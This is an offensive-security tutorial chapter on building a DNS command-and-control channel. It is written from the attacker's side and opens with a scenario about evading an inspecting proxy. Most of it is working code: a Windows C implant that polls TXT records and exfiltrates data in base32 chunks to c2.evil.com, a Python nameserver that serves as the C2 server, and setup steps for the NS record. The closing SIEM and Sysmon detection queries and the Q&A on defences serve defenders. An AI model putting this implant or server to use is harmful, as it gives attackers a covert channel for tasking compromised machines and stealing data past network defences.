Chapter 114

DNS C2 Protocol

Using the DNS protocol as a covert command-and-control channel: query encoding, TXT/CNAME/A record response types, chunked data transfer, authoritative nameserver setup, and DNS-specific detection patterns

Scenario

You've gained persistence on a target workstation. The network has an HTTPS-inspecting proxy — every outbound TLS connection is intercepted and decrypted by a Palo Alto NGFW. Your HTTPS beacon gets flagged within minutes when the certificate chain is wrong. DNS traffic, however, goes unexamined to the corporate recursive resolver, which forwards to your authoritative nameserver. DNS queries for data.c2.evil.com arrive at your server without inspection. You encode commands in TXT record responses and exfiltrate output through subdomain labels, building a fully covert channel over UDP port 53 — a port that must be open for the machine to function at all.

DNS C2 Data Model

How DNS C2 works: Implant sends data OUT (exfiltration / check-in): DNS query for subdomain that encodes data e.g.: QUERY A ..c2.evil.com Implant receives data IN (commands / tasking): Server responds with crafted DNS record value TXT record: base32-encoded task payload (long strings) A record: 4 bytes of data (limited use) CNAME: text response (32 labels × 63 chars = ~2KB path) Session flow: 1. Beacon resolves init..c2.evil.com → gets session key in TXT 2. Beacon resolves check..c2.evil.com → gets task ID or "notask" 3. If task: beacon resolves task...c2.evil.com Server returns chunk N of task in TXT response 4. Beacon exfils result in subdomain labels: ....results.c2.evil.com 5. Server ACKs in TXT response; loop continues DNS packet constraints: Label max: 63 characters per subdomain label FQDN max: 253 characters total TXT record: 65,535 bytes total (often limited to 255/packet) Practical data per query: 40-60 bytes of encoded data Practical data per response: 200-500 bytes in TXT Approximate throughput: ~500 bytes/s uplink, ~2KB/s downlink

Data Encoding

// DNS-safe encoding: Base32 (RFC 4648 alphabet: A-Z, 2-7, no padding)
// DNS labels are case-insensitive uppercase; use base32 not base64

const char* BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

int Base32Encode(const BYTE* input, DWORD inLen, char* output, DWORD outMax) {
    DWORD outLen = 0;
    int bits = 0;
    DWORD val = 0;
    for (DWORD i = 0; i < inLen; i++) {
        val = (val << 8) | input[i];
        bits += 8;
        while (bits >= 5) {
            bits -= 5;
            if (outLen + 1 >= outMax) return -1;
            output[outLen++] = BASE32_ALPHABET[(val >> bits) & 0x1F];
        }
    }
    if (bits > 0) {
        if (outLen + 1 >= outMax) return -1;
        output[outLen++] = BASE32_ALPHABET[(val << (5 - bits)) & 0x1F];
    }
    output[outLen] = '\0';
    return outLen;
}

// Build DNS query FQDN from data chunk
// Format: ....c2.evil.com
// Example: MNQXI3DPEBTHK.0003.7f3a91bc.data.c2.evil.com
void BuildDnsLabel(const BYTE* data, DWORD dataLen, DWORD seq,
                   const char* sessionId, char* fqdn, DWORD fqdnMax) {
    char encoded[64] = {0};
    Base32Encode(data, dataLen, encoded, sizeof(encoded));
    // Each label max 63 chars — data chunk must be ≤ 37 bytes (37*8/5=59 chars)
    _snprintf_s(fqdn, fqdnMax, fqdnMax-1,
        "%s.%04X.%s.data.c2.evil.com", encoded, seq, sessionId);
}

// Data per DNS query (single label encoding):
//   37 bytes raw → 60 base32 chars → fits in 63-char label
//   With FQDN overhead: 37 bytes per query to the C2 server

Server-Side Implementation — Authoritative Nameserver

# Python DNS C2 server using dnspython + raw socket
# Set NS records: ns1.c2.evil.com → your VPS IP
# All queries for *.c2.evil.com arrive here

import socket, threading, base64, struct

DNS_PORT = 53
SESSIONS = {}  # session_id -> {key, tasks, results}

def parse_dns_query(data):
    """Extract QNAME from raw DNS query packet"""
    labels = []
    pos = 12  # skip DNS header (12 bytes)
    while pos < len(data):
        length = data[pos]
        if length == 0: break
        pos += 1
        labels.append(data[pos:pos+length].decode('ascii', errors='replace'))
        pos += length
    return '.'.join(labels)

def build_dns_response(query_data, txt_value):
    """Build DNS response packet with TXT record"""
    txid = query_data[:2]
    flags = b'\x81\x80'  # QR=1 AA=0 RD=1 RA=1
    qdcount = b'\x00\x01'
    ancount = b'\x00\x01'
    nscount = b'\x00\x00'
    arcount = b'\x00\x00'
    header = txid + flags + qdcount + ancount + nscount + arcount

    # Copy question section from query
    question = query_data[12:]

    # Answer: name pointer 0xC00C (points back to question), type TXT, class IN
    txt_bytes = txt_value.encode('ascii')
    answer = (
        b'\xc0\x0c' +           # name: pointer to question
        b'\x00\x10' +           # type: TXT (16)
        b'\x00\x01' +           # class: IN
        b'\x00\x00\x00\x0a' +   # TTL: 10 seconds (short for C2)
        struct.pack('>H', len(txt_bytes) + 1) +  # RDLENGTH
        struct.pack('>B', len(txt_bytes)) +         # TXT length byte
        txt_bytes
    )
    return header + question + answer

def handle_query(data, addr, sock):
    qname = parse_dns_query(data).lower()
    parts = qname.split('.')

    # qname format: ....c2.evil.com
    if len(parts) < 7: return
    encoded, seq, session_id, query_type = parts[0], parts[1], parts[2], parts[3]

    if query_type == 'init':
        SESSIONS[session_id] = {'tasks': [], 'results': []}
        response_txt = 'OK'

    elif query_type == 'check':
        session = SESSIONS.get(session_id)
        if session and session['tasks']:
            response_txt = session['tasks'][0]['id']  # task ID to fetch
        else:
            response_txt = 'NOTASK'

    elif query_type == 'data':
        # Implant sending exfil data — decode and store result
        raw = base64.b32decode(encoded.upper())
        SESSIONS.get(session_id, {}).setdefault('results', []).append(raw)
        response_txt = 'ACK'

    else:
        response_txt = 'ERR'

    resp = build_dns_response(data, response_txt)
    sock.sendto(resp, addr)

def serve():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('', DNS_PORT))
    print('[*] DNS C2 listening on UDP 53')
    while True:
        data, addr = sock.recvfrom(512)
        threading.Thread(target=handle_query, args=(data, addr, sock)).start()

if __name__ == '__main__': serve()

Client-Side DNS Queries from Windows

// Windows DNS query via DnsQuery_A (avoids WinSock, uses DNS API)
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")

// Query TXT record and return first string value
BOOL DnsQueryTXT(const char* fqdn, char* resultBuf, DWORD bufLen) {
    PDNS_RECORD pDnsRecord = NULL;
    DNS_STATUS status = DnsQuery_A(
        fqdn,
        DNS_TYPE_TEXT,
        DNS_QUERY_BYPASS_CACHE |   // don't cache C2 responses
        DNS_QUERY_NO_HOSTS_FILE |  // skip hosts file
        DNS_QUERY_NO_NETBT,        // skip NetBIOS
        NULL,
        &pDnsRecord,
        NULL
    );

    if (status != ERROR_SUCCESS || !pDnsRecord) return FALSE;

    PDNS_RECORD p = pDnsRecord;
    BOOL found = FALSE;
    while (p) {
        if (p->wType == DNS_TYPE_TEXT && p->Data.TXT.dwStringCount > 0) {
            strncpy_s(resultBuf, bufLen, p->Data.TXT.pStringArray[0], bufLen-1);
            found = TRUE;
            break;
        }
        p = p->pNext;
    }
    DnsRecordListFree(pDnsRecord, DnsFreeRecordList);
    return found;
}

// Full check-in loop
BOOL DnsCheckin(const char* sessionId, char* taskBuf, DWORD taskMax) {
    char fqdn[256] = {0};
    _snprintf_s(fqdn, sizeof(fqdn), sizeof(fqdn)-1,
        "check.%s.c2.evil.com", sessionId);
    return DnsQueryTXT(fqdn, taskBuf, taskMax);
}

// Exfiltrate data in 37-byte chunks as subdomain labels
BOOL DnsExfil(const BYTE* data, DWORD dataLen, const char* sessionId) {
    DWORD offset = 0;
    DWORD seq = 0;
    while (offset < dataLen) {
        DWORD chunkSize = min(dataLen - offset, 37);  // 37 bytes → 60 base32 chars
        char encoded[64] = {0};
        Base32Encode(data + offset, chunkSize, encoded, sizeof(encoded));

        char fqdn[256] = {0};
        _snprintf_s(fqdn, sizeof(fqdn), sizeof(fqdn)-1,
            "%s.%04X.%s.data.c2.evil.com", encoded, seq, sessionId);

        char ack[16] = {0};
        if (!DnsQueryTXT(fqdn, ack, sizeof(ack))) return FALSE;
        if (strcmp(ack, "ACK") != 0) return FALSE;

        offset += chunkSize;
        seq++;
        Sleep(500 + (rand() % 500));  // 500-1000ms between queries
    }
    return TRUE;
}

Throughput and Chunking

DirectionRecord TypeData Per Query/ResponsePractical Throughput
Uplink (beacon→C2)Query subdomain37 bytes/query~450 bytes/s at 1 query/800ms
Downlink (C2→beacon)TXT record200-500 bytes~2KB/s with polling every 500ms
Downlink alternativeMultiple TXT stringsUp to 65KB totalSingle response for large task
Downlink alternativeCNAME chain32 labels × 63 chars = ~2KBOne response, no chunking needed for commands
Bandwidth Reality
DNS C2 is not suitable for large file exfiltration. A 1MB file at 450 bytes/s takes 37 minutes of DNS queries. DNS C2 is best used for: (1) initial staging when all other protocols are blocked, (2) command delivery (commands are small text), (3) limited credential exfiltration (key material, hashes). For bulk data exfiltration, establish an HTTPS channel over DNS once persistence is confirmed.

DNS Record Type Selection

Downlink (C2 to implant — delivering commands): TXT Best — large payload, arbitrary text, base32-encoded data CNAME Long labels possible, decoded as text; less common for C2 A Only 4 bytes; useful for flags/simple acknowledgments AAAA 16 bytes; slightly more data than A record Uplink (implant to C2 — sending results): Query subdomain labels only — no "response" from implant side All uplink data encoded in the FQDN being queried Server receives and logs all incoming query FQDNs Protocol details to know for NS setup: 1. Register domain (e.g., evil.com) 2. Create NS record: c2.evil.com NS ns1.evil.com 3. Create A record: ns1.evil.com A 4. All queries for *.c2.evil.com will reach your VPS on UDP/53 5. Run C2 server on VPS port 53 Caching gotcha: Recursive resolvers cache DNS responses per TTL Set TTL=10 seconds for C2 subdomains to prevent stale task delivery Downside: very low TTL (~0-10s) is itself an anomaly indicator

Anti-Detection Techniques

Detection Engineering

-- Splunk / SIEM: DNS tunneling detection signals

-- 1. High entropy subdomain labels (base32/base64 encoded data)
index=dns
| eval label_entropy = precise_entropy(substr(query, 1, 63))
| where label_entropy > 3.5
| stats count by src_ip, query_root_domain
| where count > 20
| sort -count

-- 2. Unusual label length distribution (long labels = encoded data)
index=dns
| eval first_label_len = len(mvindex(split(query,"."),0))
| where first_label_len > 30
| stats count, dc(query) as unique_queries by src_ip, dest_ip
| where unique_queries > 10

-- 3. High NXDomain rate (common in C2 where agent probes non-existent domains)
index=dns rcode=3
| stats count, dc(query) as uniq by src_ip, timespan bucket=1h
| where count > 50 AND uniq > 40

-- 4. Single domain query volume anomaly
index=dns
| rex field=query "(?:[^.]+\.){2}(?P[^.]+\.[^.]+$)"
| stats count as query_count, dc(query) as unique_subdomains by src_ip, root_domain
| where unique_subdomains > 100 AND query_count > 200
| sort -unique_subdomains

-- Key DNS C2 IOCs:
-- * High entropy subdomains (Shannon entropy > 3.5 bits/char)
-- * Long subdomain labels (> 30 chars in first label)
-- * Many unique subdomains for one root domain from one source
-- * Low TTL on TXT records (TTL < 30 seconds)
-- * TXT record queries (unusual for endpoint — browsers never TXT-query)
-- * DNS queries after hours to unknown domains (midnight exfil)

-- Zeek: DNS log field 'query' length and entropy analysis
-- Microsoft Defender for Endpoint: DNS query logging (sysmon event 22 = DNSEvent)

-- Sysmon Event 22 (DNS Query):
# Monitor for: long labels, base32 pattern, high frequency to one domain
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=22} |
    Where-Object { $_.Message -match '\.c2\.' -or
                   $_.Message -match '[A-Z2-7]{30,}' }  # base32 pattern

Q&A

Why does DNS C2 work even in heavily restricted environments, and what does block it?

DNS C2 works in restricted environments for a fundamental reason: DNS resolution is required for nearly all network functionality. If DNS is blocked, a machine can't browse the internet, connect to cloud services, or even authenticate to Active Directory (which relies heavily on DNS for DC and service location). Administrators are therefore very hesitant to aggressively restrict DNS traffic. Specifically: outbound UDP 53 to the corporate DNS server is almost always allowed; that recursive resolver then forwards queries to the authoritative nameserver, which is the attacker's server. The attacker's traffic rides through the corporate resolver, so from the firewall's perspective, all DNS traffic is going to a trusted internal server. What does block it: (1) DNS RPZ (Response Policy Zones) — the corporate resolver can be configured with a blocklist of known-malicious domains, preventing resolution; (2) Passive DNS monitoring with threat intel feeds that recognize new/malicious domains; (3) DNS filtering proxies that inspect query content (Cisco Umbrella, Palo Alto DNS Security) — these can detect high-entropy subdomains; (4) Split-horizon DNS where the corporate resolver only forwards to specific authoritative servers on an allow-list; (5) No direct outbound DNS — all DNS routes through the corporate resolver which doesn't forward to your attacker NS server.

What is DNS-over-HTTPS (DoH) C2 and how does it compare to traditional DNS tunneling?

Traditional DNS tunneling sends queries over UDP/53, which most corporate DNS monitoring tools inspect. DNS-over-HTTPS (DoH) encapsulates DNS queries inside HTTPS to a DoH resolver (Google at 8.8.8.8:443, Cloudflare at 1.1.1.1:443, etc.). From the network's perspective, the traffic looks like HTTPS to a well-known CDN IP. The C2 concept: implant makes HTTPS POST requests to a DoH resolver with wireformat DNS queries embedded in the body; the resolver forwards to the attacker's authoritative nameserver. Compared to traditional DNS tunneling: DoH is harder to detect at the network layer (queries are encrypted), harder to block without blocking all DoH (which breaks many browsers and apps), and the destination IP is a known-good CDN rather than a suspicious VPS. The limitation: major DoH providers (Google, Cloudflare) have their own malware domain blocking in place, so your C2 domain may be blocked at the DoH provider level. Using a self-hosted DoH resolver eliminates this but makes the HTTPS destination an unknown IP, which may itself trigger detection. In practice, DoH C2 is most useful as a fallback channel when traditional DNS and HTTPS are both restricted but the DoH resolver IP (Google/Cloudflare) remains accessible.